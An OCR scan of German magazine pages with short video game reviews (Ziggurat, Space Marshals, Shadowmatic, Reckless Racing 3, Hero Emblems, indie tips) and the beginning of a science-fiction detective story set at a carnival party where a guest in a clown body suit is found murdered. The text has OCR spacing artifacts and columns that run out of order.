Spiele I Arcade-Shooter, F i rst-Person-Action-Ro l lenspiel 

des; nur selten erhält man etwa 
einen neuen Schutzsch i ld .  

Vier versch iedene Schiffsty­
pen, d ie  je zwei Waffen bieten, 
werden nacheinander fre ige­
scha l tet Typ "Al pha" hat das 
klass ische Masch i nengewehr  
und e in seh r  breit streuendes 
Geschütz. "Tau" br ingt Raketen 
und e in Zie lerfassungssystem 
mit. "Mu" nutzt Laser im Einzel­
feuer oder als Dauerstrah L  "Psi" 
wiederum ist fü r den Nahkampf 
konzipiert: E ine Lasersense fegt 
Fe inde vom H immel  und e ine 
spezie l le  Umhü l l ung  verwandelt 
das Sch iff i n  e ine Art g roßen 
N inja-Wu rfstern.  Außer dem 

zende magischer 
und a lchemistischer 
Waffen vom Zauber­
stab bis zur Magma­
pisto le fü r Abwechs­
l u ng .  Vier Waffen­
S iots stehen zur Ver­
fügung .  Die mag i ­
sche Mun ition i s t  je­
doch kna pp - man 
muss s ie ersch lage­
nen Fe inden ent­
wenden. Auch neue 

Lebenspunkte findet man so se l­
ten, dass das Ausweichen ba ld  
wichtiger wird a l s  das Anbringen 
von Treffern .  Man a rbeitet s ich 
von Raum zu Raum vorwärts, in­
dem man zu nächst nach dem 
Sch lüssel, dann nach dem Porta l 
des Level-Bosses sucht. E in Spei­
chern des Spie lstandes ist nicht 
mögl ich: Wer stirbt, beg innt wie­
der bei Level 1 .  

Dass dennoch keine Frustra­
t ion aufkommt, verdankt das 
Spie l  der Vie lfa l t  a n  zu gewin­
nenden Fertigkeiten und Power­
ups. Pausen los aktiviert man 
neue Ski l l s  und  Waffen .  Zudem 
lässt s ich d ie e igene F igu r  gegen 
einen der bis zu elf freizuscha l­
tenden weiteren Hauptcharakte­
re austauschen, die über beson­
dere Kräfte verfügen .  Ziggu rat 

Story-Modus kann  man e inen 
"Punkteangriff" a uf Zeit  sp ie len .  
H ierfü r stehen von Beg inn  an  
a l l e  Schiffstypen zur Verfügung .  
Die Ergebnisse sch lagen s ich im 
"E lysi um", der Rang l iste, nieder. 

Bombastische Umgebung 
und pausen lose Action ziehen 
den Spieler schne l l  in  ih ren Bann.  
Die Steuerung hat es i n  s ich ;  fl ie­
gerisches Können ist wichtiger 
a l s  Feuerkraft Le ider bieten d ie 
Kämpfe wenig Abwechs l ung 
und d ie Aufrüstungsstufen s ind 
vorgegeben. Ku rze Spie lsessions 
kann  man genießen, aber a l lzu 
lange hä lt d ie Freude nicht an. 
(Stephan Greitemeier/psz@ct.de) 

setzt sta rk auf die Gunst des Zu­
fa l ls : Nicht nu r  Räume und Geg­
ner, auch Veränderungen wer­
den ausgewü rfe lt N icht a l les, 
was man err ingt, wirkt sich güns­
t ig aus .  So g ibt es d rei  Statuen, 
vor denen man medit ieren kann .  
I m  Austausch fü r Lebens- oder 
Zauberkraftpunkte erhä l t  man 
dann vie l l eicht e ine stä rkere 
Waffe, vie l leicht aber b loß redu­
zierte Geschwind igkeit. Der Zu­
fa l l  br ingt manche Enttäu­
schung, aber  auch zusätz l ichen 
Reiz .  Reaktionsschne l le  Magie­
schü le r  haben i h ren Spaß an  
dem m i t  Humor gewü rzten Spiel 
und seiner l iebevo l l  gesta lteten 
Fantasy-Grafik. 
(Stephan Greitemeier/psz@ct.de) 

Ziggurat 
Vertrieb Milkstone Studios, 

www.milkstonestudios.com/ 
games/ziggurat 

Betriebssystem Windows 8, 7, Vista, XP; 
Mac OS X ab 1 0.9; Linux 

Hardware­
anforderungen 

Kopierschutz 

Mehrkernsystem, 3 GByte 
RAM, 1 -GByte-Grafik 
Online-Registrierung und 
-Aktivierung über Steam 

Idee 0 Umsetzung ® 
Spaß ® Dauermotivation 0 
1 Spieler • Deutsch • USK nicht geprüft, red. 
Empf.: ab 12 • 1 5  € 
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Spiele I Action-Sch leich-Shooter, lnd ie- und Freeware-Tipps 

Auf die harte Tour 
Der verwegene He ld des Top­
Down-Shooters Space Marshals 
muss Gangster im Weltraum ja­
gen, wobei er  ta ktisches Ka lkü l  
und d icke Knarren einsetzt. 

len sich ihm natür l ich die Gangs­
ter in den Weg, mit denen er sich 
immer wieder Scharmützel l ie­
fert. Fü r  die Schießereien kann er 
nach und nach seine Waffen auf­
rüsten und Feinde mit Granaten 
hinter ih rer Deckung erwischen. 

E in Gefängnisraumschiff wird 
entfüh rt, die I nsassen entkom­
men und richten sich auf einem 
P la neten häus l ich ein. A ls  knar­
z iger Marscha l l  beg ibt s ich der 
Spie ler auf d ie Jagd und scha ltet 
sukzessive den Obergangster 
aus sowie dessen schießwütige 
Spießgese l len .  

Dazu steuert er den Gesetzes­
hüter aus  der Vogel perspektive 
du rch verzweigte Level, in denen 
man Gefangene befreien, I nfor­
mationen besorgen und Maschi­
nen zerstören muss .  Dabei stel-

Doch Space Marsha l s  ist kein  
reinrassiger Shooter, in  dem man 
nu r  auf Dauerfeuer  scha l tet. 
Stattdessen muss man stets d ie  
Deckung nutzen und an  e inem 
Gegner schon ma l  mit  e iner 
Ta rnkappe vorbeisch le ichen. Im 
Untersch ied zu reinen Schleich­
Spie len wie Meta l Gea r Sol id 
kann  der Marshai Gegner jedoch 
nicht meuchel n; selbst schlafen­
de Wachen exekutiert er mit sei­
ner F l i nte. 

Die Act ion wurde brach ia l  
i nszen iert und  d ie  Steuerung 
funkt ion iert auf dem Touch­
Screen erstaun l ich präzise. l n  
d e n  Leve ln  fi ndet d e r  Marsha i 
stets genügend Fe l sen, Grab­
ste ine und  Ho lzfässer, h i nter 
denen er  i n  Decku ng geht .  E i ­
n ige Miss ionen bestreitet man 

unter Zeitd ruck; s ie scheitern, 
wenn er zu häufig st irbt. I nsge­
sa mt b le ibt der Schwier ig keits­
g rad aber  moderat. Mu nit ion 
und Gesundheitspunkte s ind i n  
großer Menge vorhanden, Zwi­
schenspeicherpunkte fo lgen i n  
ku rzen Abständen aufe inander. 

wickler peppt das hübsch kl i­
scheehafte Western-Sett ing mit 
Science-F iction-E lementen auf, 
mitunter tauchen sogar Zombie­
Cowboys auf. 

Die witzigen und gut synch ro­
nis ierten Dia loge, die unterha lt­
same Story sowie d ie deftige Ge­
räuschkul isse ha lten den Spie ler 
i n  d ieser rundherum ge lunge­
nen, mit ta ktischen Schleichein­
lagen gewürzten Action-Ba l lerei 
gut vier bis fünf Stunden bei der 
Stange .  Zwei weitere Kapitel 
wurden bereits angekünd igt. 

Space Marshals 
Vertrieb Pixelbite 
Systeme ab iOS 7 (ab iPhone 45) 
Idee ® Umsetzung ® 
Spaß ® Dauermotivation ® 
1 Spieler · Deutsch · ab 12 Jahren · 5 € 
<:00;) sehr gut ® gut 0 zufriedenstel lend 
e schlecht ee sehr schlecht 

l nd ie- und Freeware-Tipps 

Vier Jahre a rbeitete das Team Psykska l l a r  
an  dem Horror-Adventu re Cry of  Fear, das  
fü r Windows-Rechner auf Steam angebo­
ten wird. Auf der technischen Grundlage 
der Sou rce-Engine von Half-Life 1 program­
mierten d ie Entwickler e ine achtstündige 
Solo-Kampagne, schufen neue F iguren, 
Objekte, Textu ren, Geräusche und Musik­
unterma l ung .  Selbst e in Coop-Modus fü r 
vier Spieler ist enthalten. l n  der eigenstän­
d ig laufenden Freeware streift der Spieler 

du rch eine mit Zombies verseuchte skandi­
navische Stadt und muss sich der Untoten 
mit a l l er lei Waffen erwehren. Gewiss ist d ie 
Grafik  nicht auf dem Stand der Techn ik und 
d ie Sprachausgabe zuwei len d i l ettantisch, 
der g rusel igen Atmosphäre tut d ies jedoch 
keinen Abbruch. 

Unter dem Namen Tetrageddon Games 
(Browser) hat Natha l ie Lawhead eine On-
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Der schwedische Herste l ler  Pi­
xe l b ite hat s ich bereits mit  den 
Tite l n  der Reckless-Racing-Serie 
einen Namen gemacht. Dank  
Meta I-Unterstützung sieht Space 
Marshals unter iOS 8 klasse aus; 
Ladezeiten s ind kü rzer a l s  der  
F lug e iner  Handgranate. Der  Ent- (Peter Kusenberg/hag@ct.de) 

l ine-Arcade-Ha l le  für psychedel isch skurri le 
F reeware-Spiele eröffnet. Die Spielchen sind 
so etwas wie eine Pop-Art-Parodie auf den 
digita len Al ltag. Die Entwicklerin hat sich bei 
ih ren wi lden Themensprüngen an  der wun­
derbaren Weit der Schwerkraft von Monty 
Python orientiert, in deren bizarren Weit 
der Spieler wie Al ice im Wunderland jede 
Menge Kaninchenbaue trifft. Die Entwick­
lerin ermutigt Spieler, den Open-Source­
HTML5-Code des Projektes zu laden und um 
eigene Ideen zu ergänzen. Für  das  kommen­
de I ndependent Games Festiva l wurde Te­
trageddon fü r den Nuova-Award nominiert. 

Als ein "chaotisches Malprogramm" be­
zeichnen Andi McCi u re und Michael 
Brough ihr Spiel Become A Great Artist in 
J ust 10 Seconds (Windows, Mac) .  Je nach­
dem, welche Taste auf dem Keyboard der 

Spieler/Ma ler d rückt, verziert das Pro­
g ramm Pixe lb i lder mit verschiedenen Stö­
rungen, Gl itches, Verzerrungen, Fa rbver­
läufen, sodass i nnerha lb  von zehn Sekun­
den chaotisch bunte Bi lder entstehen, d ie ­
würde man sie auf riesigen Leinwänden in  
Museen platzieren - wahrschein l ich fü r 
g roße Kunst geha lten würden. So deckt 
d ieses klei ne, fü r den Nuovo Award beim 
I ndependent Games Festiva l nominierte 
Spiel auf, dass in  jedem ein Künstler steckt. 

Mehr Tipps fü r orig ine l le  lnd ie-Spie le fin­
den Sie i n  unserem Video-Biog "c't zockt" 
auf heise.de und auf unserer g le ichnami-
gen Ku rator-Liste auf Steam. (hag@ct.de) 

c't Downloads und Video: ct.de/y?gg 
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Spiele I Puzzle, Rennspiel, Puzzle-Rol lenspiel 

Schattenwirtschaft 

Im  Knobelspie l  Shadowmatic 
dreht der Spieler ungesta lte 3D­
F iguren im Licht, bis ih re Schat­
ten bekannte Gegenstände zei­
gen. Die verwinkelten 3D-F igu­
ren schweben in  der Luft und 
werfen dank d iverser Lichtquel­
len Schatten an  d ie Wand.  Der 
Spieler d reht die 3D-Objekte seit­
wärts, nach oben und unten, um 
d ie X- und Y-Achse. S i nd  zwei 
oder d rei F iguren vorhanden, so 
kann  man sie zusätzl ich auf einer 
Umlaufbahn  kreisen lassen. Im 
Idealfa l l  verschmelzen ih re Schat-

Kurven kratzer 
Im  Rennspiel Reckless Racing 3 
steuert der Spieler sein Fahrzeug 
aus der Vogel perspektive über 
ku rvenreiche Strecken vol ler  Hin­
dernisse und rabiater Gegner. 

Wie in  den beiden Vorgängern 
hat s ich das schwedische Ent­
wicklerteam auf das Ku rvenkrat­
zen fokussiert. Die Strecken erfor­
dern gutes F ingerspitzengefüh l :  
Lässt man seinen Kipplaster quer 
in  die Ku rve vor dem Stei l küsten-

Reckless Racing 3 
Vertrieb Pixelbite 
Systeme iOS (auch für Android) 
Idee 0 Umsetzung ® 
Spaß ® Dauermotivation 0 
1 Spieler · Deutsch · ab 4 Jahren • 3 € 

ten zum B i ld des frag l ichen Be­
g riffs: e inem E lefanten, e inem 
Engel  oder einer Tabakspfeife. 

Das Herumprobieren kann  
meh rere Minuten daue rn .  Zwa r 
zäh l t  e in Timer die Zeit, bestraft 
den Spie ler aber n icht, wenn er 

Shadowmatic 
Vertrieb T riada Studio 
System iOS 
Idee ® Umsetzung ® 
Spaß ® Dauermotivation 0 
1 Spieler • Deutsch • ab 4 Jahren • 3 € 

ufer rutschen, so sol l ten maximal 
d ie  Pylonen ins  Meer purze ln .  
Dank  der  präzisen Steuerung 
kann  es der Sp ie ler  zur Meister­
schaft br ingen und d ie A-Kiasse­
Wettbewerbe gewinnen, was 
ihm Preisgelder und mithin neue 
Fahrzeuge einbringt. 

Mit gesch lossenen Reihen 
Das  iOS-exklusive Hero Em­
blems mixt ein typisches Japan­
Rol l enspie l  mit Match-3-Knobe­
le ien. ln d iesem du rch Puzzle 
Quest popu lä r  gewordenen 
Genre-Mix kämpft d ie Helden­
truppe, indem der Spie ler auf 
dem unteren Fe ld bunte Ste ine 
in  3er- oder längeren Reihen sor­
tiert. Je länger und komplexer die 
Reihen, desto stä rker g reifen die 
He lden i h re Fe inde an, verstär­
ken i h re Verteid igung oder fü l ­
len ih re Gesundheit wieder auf. 

Die Story ist bana l :  E ine Pr in­
zess in wi rd entfüh rt, ihr Königs­
vater ist sterbenskrank, a l so 
bricht e in munteres He ldenquar­
tett auf, um Töchterchen und 
Hei ltrank zu beschaffen. Jede der  
v ie r  F igu ren hat besondere Fä-
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h igkeiten, d ie  du rch e igene 
Steinehen in  der Kampfmatrix re­
präsentiert werden.  Die Herzen 
etwa stehen fü r die Hei lerin, der 
Stern fü r die offensiven Zauber 
der Hexe. 

Im Verg le ich zu Tite l n  a Ia 
Candy Crush spie l t  Strategie i n  
den Schiebepuzzles e ine  g röße­
re Rol le. Durch Kombination von 
mehr als d rei Steinen aktiviert 
der Spie ler Spezia lang riffe, mit 
denen er starke Level bosse i n  die 

Hero Em blems 
Vertrieb Heatpot Games 
System iOS 
Idee 0 Umsetzung 0 
Spaß ® Dauermotivation 0 
1 Spieler • Englisch • ab 4 Jahren • 3 € 

etwas länger braucht. Als 
H i l fsmittel g ibt es sechs 
Punkte am unteren Bi ld­
ra nd, d ie  nacheinander 
aufleuchten, umso mehr 
der Schatten dem ge­
suchten Objekt ähnelt .  
Mitunter ist es jedoch 
schwierig, die geforder­
ten Umrisse exakt zu tref­
fen .  Abgesehen von d ieser un­
nötigen Akribie in  den späteren 
Puzzles wirkt die Steuerung 
überzeugend und ermög l i cht 
m i l l imetergenaue Änderungen. 

I nsgesamt warten über  70 
Schattenfigu ren i n  neun The­
menweiten auf ih re Entdeckung.  

Neben den Rennen darf man 
an  Drift-Wettbewerben tei l neh­
men, wo mögl ichst dauerhaftes 
und kunstvo l les Schl ittern be­
lohnt wird; auf den pfiffigen Pa r­
cours darf der Wagen kein  H i n­
dernis berüh ren. Die Wettbewer­
be wi rken motivierend, denn d ie 

Knie zwingt. Mitunter kann  es 
s innvol l  sein, d iese Steine fü r 
e inen späteren Kampf aufzuhe­
ben. Die Gegner können Ste ine 
blockieren oder verg iften, was 
die Reihenbi ldung zusätzl ich er­
schwert. 

Nach e iner E ingewöhnungs­
phase steigt der Schwierigkeits­
g rad merkl ich an,  sodass man 
mit sei nem He ldentrupp v ie le  
Kämpfe auf der Ka rte abgrasen 
muss, damit s ie nach dem Level­
Aufstieg fit genug sind fü r den 
nächsten Bosskampf. Dadu rch 
zieht s ich die Spie lzeit auf etwa 
zwölf Stunden etwas unnötig i n  
d ie  Länge. Die dude lnde Mus ik  
scha ltet man besser ab, d ie g ra­
fische Aufmachung ist eher 
zweckmäßig a l s  hübsch. 

Zwa r erreichen d ie Kämpfe 
nicht das N iveau des orig ina len 
Puzzle Quest, aus  der  übr igen 

l n-App-Käufe s ind mögl ich, je­
doch unnötig. Zwar feh l t  es der 
anspruchsvo l l en  3D-Objekt-Ra­
terei langfristig an  Abwechs lung, 
beim gelegentl ichen Knobe ln ist 
die Schattensuche jedoch über­
aus entspannend. 

(Peter Kusenberg/hag@ct.de) 

KI-Gegner fahren ruppig - zu­
mindest in  den höheren Schwie­
r igkeitsg raden.  ln der Anfänger­
Klasse fährt der Spie ler oft a l le in 
an  der Spitze. 

Leider hat Pixel bite den Mehr­
spie lermodus gestrichen, nu r  via 
H ighscore-Tabel le darf man mit 
seinem Drift-Können prah len. 

Wie in  den Vorgängern haben 
d ie  Entwickler wundervo l l  ab­
wechs l ungsreiche Strecken vol­
le r  Deta i l s  gesta ltet. Man fäh rt 
über muschel bedeckte Strände, 
umrundet e ine b immelnde Ka­
pel le und schl ittert durch Matsch­
pfützen .  

Die umfangreichen Wettbe­
werbe laden ein zum stunden­
langen Driften und Rasen, wobei 
man die ln -App-Kaufangebote 
getrost ignorieren kann .  

(Peter Kusenberg/hag@ct.de) 

Masse an Match-3-Spie len sticht 
das He lden-Abenteuer jedoch 
heraus und sorgt fü r e inen ku rz­
wei l igen Zeitvertreib. 

(Peter Kusenberg/hag@ct.de) 
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W enn ich meine Meinung zu I h rer Aver­
s ion äußern dü rfte . . .  ", begann Otto 

einen Disput, den ich nicht füh ren wol l te. 
"Ne in .  Mich i nteressiert deine Sichtweise 

n icht", verbat ich mir jede weitere E inmi­
schung .  "Du b is t  e in  verfl ixter E-Fam.  Was 
geht es d ich an, was ich über Ka rneva l 
denke?" 

"Nun  . . .  ", klang  die Stimme in  meinem 
Schäde l ,  an  d ie  ich mich so sehr gewöhnt 
hatte. "Sie haben sel bstverständ l ich Recht, 
Bürger Mayer. lch schweige ab  sofort." 

Was er dann auch tat, wäh rend ich im 
Fahrstuh l  e in ige Ebenen im Sektor d rei nach 
unten fie l .  Es war einer d ieser neuartigen Ex­
press-Lifte, d ie  mit e iner magenerweichen­
den Geschwind igkeit kabel- und berüh­
rungs los per Magnetantrieb du rch d ie Röh­
ren stü rzten oder raketenschne l l  stiegen. 

End l ich passten sich meine Innereien dem 
externen Speed an. Das trockene Gefüh l  in 
meinem Mund verg ing, so sagte ich la ut: 
"Ach, jetzt ste l l  d ich nicht so an, Otto. Es ist ja 
gut. Ich gebe es zu. Ich hasse d iese Zeit, die 
aufgesetzte Heiterkeit, den fu rchtba ren 
Hang zur  Verkle idung, das Benehmen der 
Menschen. Ich verstehe den Sinn nicht. Was 
auch immer die Bürger umtreibt, sich so zu 
verhalten wie sonst n ie, es ist n icht meine 
Art .  Und ich denke, ich b in da nicht a l le ine 
mit meiner Ansicht." 

Die Fahrstuh l kab ine bot P latz fü r zwölf 
normalgewichtige Erwachsene, aber ich 
stand muttersee lena l l e in  i n  der h i nteren 
Ecke und lehnte an  einer weich gepolsterten 
Wand.  Die Benutzung verteuerte sich da­
du rch, sodass mein Auftraggeber eine gesa l­
zene Spesen rechnung würde beg le ichen 
müssen. 

"Die aggressive Verteid igungsha l tung 
deutet e ine schwache Posit ion I h rer Mei ­
nung an ." 

"Wie ist denn de ine E inste l l ung  zu dem 
ganzen Trubel ?", fragte ich .  

" ,ch bin ein e lektronischer Famu lus. Meine 
wi lden Zeiten s ind lange vorbei." 

Ich über legte ku rz, ob Otto sich gerade in 
I ron ie üben wol lte, als d ie Fahrt endete und 
das Liftschott aufg l itt So spa rte ich mi r  e ine 
Antwort, t rat  stattdessen h inaus  auf den 
Gang. 

"Vie len Dank  fü r d ie  Reise mit Express­
N ine. Beehren Sie uns bald wieder, Bürger", 
flötete eine geschlechtsoptimierte Automa­
tenstimme. 

"Du mich auch", mu rmelte ich - sehr le ise. 
Mein Ärger ä rgerte mich .  Seit ein igen Wo­
chen du rfte ich mich erneut a l s  mein eigener 
Herr bezeichnen.  Die Zeit a ls persön l icher 
Knecht des CEO Redqueen wa r Vergangen-

-g heit .  Dennoch begegnete ich der N ine-Corp 
E beinahe übera l l, denn die Express-N ine wa r g eine Tochterfi rma der g roßen Corporation .  

"Otto?", subvoka l is ierte ich .  
"Den Korr idor ent lang bis zur Nummer 1 1 0 1 6, Bürger Mayer." 

i "Danke." .� "Stets zu Diensten." 

-=� Ich fo lgte dem Ver lauf des Ganges, vorbei 
an  verschlossenen Türen zu meiner Rechten. 
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Über jedem E ingang leuchtete e ine neon­
grüne Zah lenfo lge i n  absteigender Reihen­
fo lge .  So wusste ich, dass es noch weitere 
zehn Apartments sein mussten. 

Ich passierte gerade Nummer 1 02 1 , a l s  
genau d iese Tür aufgerissen wurde. E ine ki­
chernde B londine im leicht derang ierten, 
pink-weißen Prinzessinen-Outfit mit viel Gl it­
ter darauf stürzte auf den Korridor und hielt 
sich dabei das Kleid fest. Beide Spaghettiträ­
ger hingen wie wi ld schwingende Gir landen 
am Stoff herab. Sie kreischte, a ls  ein einäugi­
ger Pirat mit einem Schrei und einem Schwert 
sie packte und zurück in  die Su ite zerrte. 

Von dort scha l l ten hämmernde Beats und 
unmelodischer Rapp heraus .  Das Letzte, was 
ich von der Feiergese l l schaft sah, waren die 
entblößten vol len Brüste der Pri nzessin, auf 
d ie  der P i rat se inen Mund presste. Dann  
schloss sich d ie Tür. Ruhe  umhü l l te m ich  wie 
ein schützender Mantel .  

"Bitgefuckter Mard i-Gras !", fl uchte ich. 
"Sie werden d ringend erwa rtet, Bürger 

Mayer", mahnte mich Otto. So beei l te ich 
mich, bis ich unter der 1 0 1 6  stand und den 
Anläut-Button neben dem Eingang drückte. 
Es dauerte. Wahrschei n l i ch überprüfte der  
Besitzer der Wohnung meine Identität, bevor 
er mich here in l ieß.  Als jedoch n ichts ge­
schah, fragte ich Otto subvoka l :  "Warum lässt 
man mich nicht h inein?" 

"Sehr gute F rage, Bürger Mayer. lch versu­
che, genau d ies herauszufinden." 

"B in ich wi rkl ich richtig?" 
"Selbstverständ l ich. Es ist das angegebene 

Apartment. Dennoch miss l ingt mir derzeit 
die Kontaktaufnahme mit der Auftrag­
geberin .  Jemand hat den Raumkomplex vom 
Netz getrennt und sämtl iche Observations­
e inrichtungen abgeschottet. Dies könnte auf 
e ine Capita i -Crime-Organ iziation-Pol ice-Ak­
tion hinweisen." 

"CAPCOP? Liegt denn e in Kapita lverbre­
chen vor? Ich dachte, es g inge ledig l ich um 
Unterstützung?" 

"Offenbar hat sich an  der Grundprämisse 
etwas geändert, Bürger Mayer." 

"Scheint m i r  auch so zu sein", mu rmelte 
ich .  P lötzl ich g l aubte ich Geräusche, vie l­
leicht Stimmen, h inter der Tür zu hören. 

Ich klopfte mit der flachen Hand gegen 
das Meta l l .  

"Ha l lo?" 
Wer hier wohnte, wol lte seine Privatsphä­

re wahren. Dennoch hörte ich zwei Stimmen, 
eine he l l ,  eine sehr tief. Ein Streit. Nach wei­
teren gedu ld ig abgestandenen Sekunden 
wu rde meine Ausdauer belohnt. Die Tü r g l itt 
in die Wand.  Vor mir tauchte Piker-Paca auf, 
in seiner ganzen Pracht. 

Der Moderator e iner derzeit angesagten 
Kinderbi ldungs-Tri-Vid-Sendung schien woh l  
auch  in  seinem Privatleben Wert auf d ie per­
fekte Maske zu legen.  Ansonsten hätte ich 
ihn wahrsche in l ich gar  nicht erkannt. Doch 
der gre l lwe iß geschminkte Mann mit dem 
Spinnentattao auf der l i nken Wange, den 
neonroten Afrolook-Locken und dem aufge­
malten Gr insemund lachte so omn ipräsent 
wie penetrant i n  vielen Werbec l ips. 

Ich wol lte schon Otto fragen, ob dies unser 
Auftraggeber sei, als der Mann mit der Stim­
me einer Frau sagte: "Kommen Sie herein .  Sie 
müssen mir  helfen. Natasche ist tot." 

Ich trat e in .  
Die Tür sch loss s ich h i nter mir .  Verwun­

dert sta rrte ich an  der Gesta lt vorbei i n  den 
Pa rtyraum, der gestylt war wie die Studioauf­
bauten der Kindersendung.  Dazu hatte man 
weiße Sitzlandschaften gestel lt . Und auf die­
sen Polstern saßen rund ein Dutzend weitere 
P iker-Pacas, die a l l e rmeisten mit gesenkten 
Köpfen. Dieser Anbl ick war schon irr it ierend. 

Auf d ie Spitze der Su rrea l ität getr ieben 
wurde dies a l lerd ings du rch d ie Gesta lt auf 
dem Boden inmitten des Raumes: noch ein 
P iker-Paca, mit einem Messer im Nacken .  Die 
B l ut lache, d ie  den eleganten wei ßen Tep­
pichboden verschmutzte, leuchtete i n  dunk­
lem Rot. E ine F l ut, d ie n iemand aufzuha lten 
wagte. 

"Bürger H ubert?", fragte die weib l iche 
Ausgabe des Piker-Pacas, d ie mich hereinge­
lassen hatte. S ie sprach den Namen i n  Alt­
F ranz- ld iom aus. Sie musste mich verwech­
seln, aber  wesha l b  nu r? Wa rum hatte s ie 
mich i n  d ie Wohnung gebeten? 

"Spie len S ie m it, Bü rger Mayer", r iet m i r  
d ie  Stimme in  me inem Kopf. "Unsere Auf­
traggeber in befindet s ich mit S icherheit i n  
der Wohnung .  I rgendetwas scheint vorgefa l ­
len zu sein", ergänzte Otto. 

"Okay", subvoka l is ierte ich. 
"Ja?", sagte ich laut  zu dem weib l ichen 

Piker-Paca. 
"Ein Mord ist geschehen." 
"Das ist richtig", antwortete ich lahm. Sub­

voka l  erkundigte ich mich bei Otto: "Wer hat 
mich eigentl ich gerufen?" 

"Bürger in Beddoes." 
" ,ch sehe hier nur P iker-Pacas." 
"Ähm. Es handelt sich um eine Ka rneva ls­

Pa rty, Bü rger Mayer. Vie l le icht eine Motto­
Pa rty?" 

"E ine Motto-Pa rty?" Ich schüttelte meinen 
Kopf. Laut fragte ich d ie Gesta lt neben mi r: 
"Wer ist Bürger in Beddoes?" 

"Oh, bei a l len Konstrukteuren des Tu r­
mes!", kreischte d ie F rau .  " ,ch befü rchte, sie 
l iegt dort. Aber so genau weiß ich das n icht." 

"Sie hat mich zur U nterstützung enga­
giert. Aber mi r  scheint, ich komme zu spät. 
Ich i nformiere CAPCOP. Da werde ich woh l  
nicht gebraucht." 

"Sie hat S ie gerufen? Woher kennt . . .  
kannte Natasche Sie?" 

"Das ist schwer zu erklären", gab ich zu. 
"Ega l !  Mein Mann sagte, dass Sie der Beste 

s ind .  Also . . .  lassen Sie CAPCOP aus  dem 
Spie l  und helfen Sie m i r, bitte, Bürger Hu­
bert", flehte d ie P iker-Paca-Frau .  

"Wieso? Und wobei?" 
"Die Leiche muss verschwinden. Sie s ind 

Cleaner. Tun Sie es." 
Ich sah den Clown i rrit iert an .  
Die F rau  h i nter dem Gesicht g riff s i ch  an  

den  Kopf und sch l uchzte. "Oh, verdammt. Sie 
haben Recht. Wir müssen CAPCOP rufen. Ich 
wi l l  nicht mit einem Mörder auf die Capcops 
warten." 
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"Verständ l ich", entgegnete ich .  "Doch 
wenn  Sie a l l e  h ier gemeinsam in  d iesem 
Raum bleiben, wird der Mörder nicht jeden 
umbr ingen können, n icht wah r? Daher 
denke ich,  dass Sie s icher s ind." 

"Aber genauso ist es passiert." 
Ich sta rrte das häss l iche Ki nder-Tri-Vid­

Sta r-Gesicht an .  Bevor ich mein Mundwerk 
unter Kontro l le  bekam, fragte mein Ermittler­
h im: "Wie meinen Sie das, Bürger in?" 

.,Als es geschah, waren wi r a l le anwesend." 

.,Bürger in . . .  wie ist Ihr Name?" 
"Debenham." 
.,Bü rger in Debenham.  S ie wo l l en  andeu­

ten, dass  Sie gesehen haben, wer es tat?" 
.,Nein, es war dunkel ." 
"Dunkel?" Ich sah mich i n  dem he l l ­

er leuchteten Raum um.  
.,Ja, das L i cht  fie l  fü r e inen Moment  aus .  

Wi r hörten einen Sch rei, dann e inen dump­
fen Aufpra l l .  Die Beleuchtung sprang wieder 
an  und dort lag Natasche." 

"Natasche?" Die Pa rtygese l l schaft schien 
sehr vertra ut mite inander zu sein .  Die Ver­
wendung der Vornamen in der genormten 
Bü rgersozia l st ruktu r  der  Mega-City wa r ei­
gentl ich sehr eingeschränkt. Ich hatte ledig­
l ich den Nachnamen meiner Auftraggeberin 
gekannt. 

"Natasche ist der Vorname von Bürger in 
Beddoes?" 

Sie nickte. 
.,Bü rger Mayer", p latzte Ottos Stimme in  

meinen Kopf. 
.,Ja?", subvoka l is ierte ich. 
., I ch möchte nur ku rz mittei len, dass die 

Observationsabsperrung aufgehoben wurde. 
Dadu rch habe ich wieder Vol lzug riff auf die 
techn ischen E inrichtungen." 

"Aha." 
"Bürger in Beddoes lebt ich empfange das 

S igna l  i h res H igh-Con-Ansch lusses." 
.,Wer ist dann die Leiche? Und wesha l b  

outet s ich Bü rger in Beddoes nicht und  
spricht mich an?" 

"Dies entzieht sich meiner Kenntnis." 
"Wer von den bitgefuckten Piker-Pacas ist 

Beddoes?" 
"Nummer d rei auf der Couch von l i nks ge­

sehen." 
Ich schaute mir den P iker-Paca an, der 

dort mit hängenden Schu l tern und gesenk­
tem Kopf saß, anschl ießend wandte ich mich 
an  Bürgerin Debenham: ., Ich bleibe. E in paa r  
F ragen hätte i ch  an  Sie." 

"Al les, was Sie wol len ." 
.,Könnte ich mich mit I h rem Gatten unter­

ha lten?" 
.,Selbstverständ l ich - Char les?" 
E in P iker-Paca erhob sich und gesel lte sich 

zu uns, während ich i n  den Raum rief: "Die 
anderen ble iben sitzen. Dies ist e in Tatort. Ich 
möchte nicht, dass i rgendwelche Spuren ver­
nichtet werden." 

Als Bürger Debenham vor mir stand, mit 
d iesem abso lut  däml ichen Kindersta r­
C iownsgesicht, herrschte ich i hn  an, wei l 
meine Gedu ld  am Ende war: "Können Sie d ie­
sen verdammten Body-Suit n icht ab legen, 
damit ich Ihr richtiges Gesicht sehen kann !"  
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Die Maske verzog s ich zu e inem be­
dauernden Ausdruck. Diese Body-Su its 
mussten aus der neuesten Kol lektion stam­
men, da d ie I l l us ion des echten P iker-Pacas 
beinahe perfekt war. Die Mimik des Trägers 
übertrug s ich auf d ie Disp lay-F läche des 
Su its. Ung laubl ich, wie weit d ie Entwicklung 
d ieses u rsprüng l ich fü r d ie Spionage entwi­
ckelten Anzuges zur M im ikry eines he iml i ­
chen Beobachters ged iehen wa r. Die YOU­
WILLNOTSEEME-Corporation verfügte über 
sämtl iche Patente und hatte jahre lang an 
versch iedene Konkurrenten ge l iefert. 

So hatte Werksspionage im g roßen Sti le 
stattgefunden, bis d ie Mega-Corporations 
einen N icht-Verwendungspakt gesch lossen 
hatten. Natür l ich nicht offizie l l ,  dennoch so 
wi rksam, dass YOUWILLNOTSEEME binnen 
Jahresfrist p leitegegangen war. Soweit ich 
wusste, waren Entwickler und Produktion von 
einem Konsortium übernommen worden, das 
sich um profitable andere Anwendungen be­
müht hatte. Gleichzeitig erarbeitete man 
einen Scan, der bei F i rmen eingesetzt wurde, 
um einen heim lichen Schnüffler zu entta rnen. 

Hier jedoch, in  der Wohnung der Deben­
hams, erfreuten sich d ie Menschen an einer 
völ l ig  anderen Nutzung der Body-Su its. 

., Es ist eine S ing le-Pa rty-Modus-BS-Con­
tro l l i ng-Un it", fl üsterte Bü rger Debenham.  
"Das  Master-Steuergerät steht im Schlafzim­
